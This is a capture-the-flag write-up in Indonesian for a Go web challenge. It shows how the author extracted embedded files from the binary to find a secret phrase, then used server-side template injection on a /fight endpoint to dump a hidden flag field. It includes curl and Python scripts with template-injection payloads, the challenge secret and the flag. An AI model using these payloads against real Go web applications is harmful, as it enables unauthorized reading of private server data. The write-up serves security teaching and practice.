Writeup Aria
C2C QualificationWeb

The Soldier of God, Rick

alt text

description

Can you defeat the Soldier of God, Rick?

Overview

Challenge ini adalah service berbasis Go yang menyediakan endpoint /fight, di mana user dapat mengirim input battle_cry untuk melakukan simulasi battle.

Vulnerability utama pada challenge ini adalah:

  • Server-Side Template Injection (SSTI) pada Go templates
  • Template merender objek internal secara langsung tanpa sanitasi
  • Attacker dapat membaca field sensitif yang tidak seharusnya diekspos, termasuk flag

Goal: Mengekstrak flag yang tersimpan dalam struktur internal objek Go menggunakan SSTI.

langkah penyelesaian

1. Ekstraksi embedded resource

Binary yang diberikan adalah executable Go bernama: rick_soldier

Karena binary Go sering menggunakan fitur embed.FS untuk menyimpan file internal seperti template, config, dan asset, langkah pertama adalah mengekstrak embedded resource dari binary.

Untuk melakukan ini, digunakan tool: Go-Embed-Extractor

Tool ini memungkinkan kita mengekstrak file yang di-embed dalam binary Go tanpa perlu melakukan reverse engineering manual di disassembler.

git clone https://github.com/dimasma0305/Go-Embed-Extractor
rm -rf Go-Embed-Extractor/.git
cp Go-Embed-Extractor/extract_embed.py .

python3 extract_embed.py rick_soldier

alt text

dan setelah di extract, kita mendaptkan file .env yang berisi SECRET_PHARSE

Secret phrase ini digunakan oleh endpoint /fight untuk memvalidasi request.

2. Interaksi dengan Endpoint /fight menggunakan Secret yang ditemukan

Selanjutnya, gunakan secret tersebut untuk mengakses endpoint.

alt text

setelah di enter. alt text

Ini membuktikan bahwa secret valid dan endpoint dapat diakses.

3. Identifikasi Server-Side Template Injection (SSTI)

saya menggunakan AI untuk membantu menganalisa source code template yang di extract, dan juga memberikan fungsi dari decompile menggunakan ghidra dan menemukan bahwa template tersebut merender objek internal secara langsung tanpa sanitasi, sehingga memungkinkan SSTI.

Input battle_cry dimasukkan ke template, sehingga dapat diuji dengan payload template injection.

Test payload sederhana: {{7}} alt text

Result: 7 alt text

4. Identifikasi object yang tersedia dalam template

Dalam Go template, simbol . merepresentasikan object root yang dikirim ke template.

Kita dapat mencetak tipe object menggunakan: {{ . }}

saya beralih dari menjalan payload di web dengan menggunakan cli dengan payload berikut:

TARGET=challenges.1pc.tf:<PORT>
SECRET="Morty_Is_The_Real_One"
send_payload() {
    local payload="$1"
    local desc="$2"
    echo -n "Trying payload: $desc ... "
    # Kirim request dengan battle_cry berisi payload SSTI
    response=$(curl -s -X POST "http://$TARGET/fight" \
        -d "battle_cry=$payload" \
        -d "secret=$SECRET")
    # Ambil bagian "You screamed: ..." dari HTML response
    result=$(echo "$response" | grep "You screamed:" | sed 's/<[^>]*>//g' | sed 's/You screamed: //g' | xargs)
    if [[ -z "$result" ]]; then
        echo -e "${RED}[FAILED]${NC}"
    else
        echo -e "${GREEN}[SUCCESS]${NC}"
        echo -e "   -> Result: $result"
    fi
}
send_payload "{{ . }}"

alt text

5. Enumerasi Object Template menggunakan Script

untuk mempermudah enumerasi saya meminta AI untuk membuatkan script dengan payload SSTI yang sekiranya berguna untuk menemukan field yang ada dalam object template dan membantu mendapatkan flag.

import requests

TARGET = "http://challenges.1pc.tf:44424/fight"
SECRET_PHRASE = "Morty_Is_The_Real_One"

def send_payload(payload):
    data = {
        "battle_cry": payload,
        "secret": SECRET_PHRASE
    }
    r = requests.post(TARGET, data=data)

    if "You screamed:" in r.text:
        start = r.text.find('<span class="text-white italic">"') + 33
        end = r.text.find('</span>', start)
        result = r.text[start:end].strip('"')
        return result
    return "ERROR"

payloads = [
    '{{ printf "%T" .Secret }}',
    '{{ printf "%#v" .Secret }}',
    '{{ .Flag }}',
    '{{ .flag }}',
    '{{ printf "%+v" . }}',
    '{{ printf "%#v" . }}',
]

for payload in payloads:
    result = send_payload(payload)
    print(f"{payload}{result}")
python3 1.py

alt text

Dari hasil enumerasi, diperoleh informasi berikut:

  • Menentukan tipe Secret {{ printf "%T" .Secret }} → string

Artinya .Secret adalah string.

  • Attempt akses langsung ke field flag {{ .flag }} -> flag is an unexported field of struct type router.BattleView

Ini menunjukkan bahwa field flag ada, tetapi tidak dapat diakses langsung karena merupakan private field.

  • Enumerasi struktur object root {{ printf "%+v" . }} → BattleView{Rick: Rick, Soldier of God HP:999999, LastMsg: Rick explicitly ignores your Scream. He is simply too powerful.}

Ini menunjukkan bahwa object root adalah struct BattleView.

  • Exploit: Dump seluruh struct menggunakan printf %#v {{ printf "%#v" . }}

Result:

router.BattleView{
  Rick:(*entity.Rick)(0xc00009b260),
  Log:interactor.FightLog{
    Message:"Rick explicitly ignores your Scream...",
    RickHP:999999
  },
  flag:"C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}"
}

flag

C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}

On this page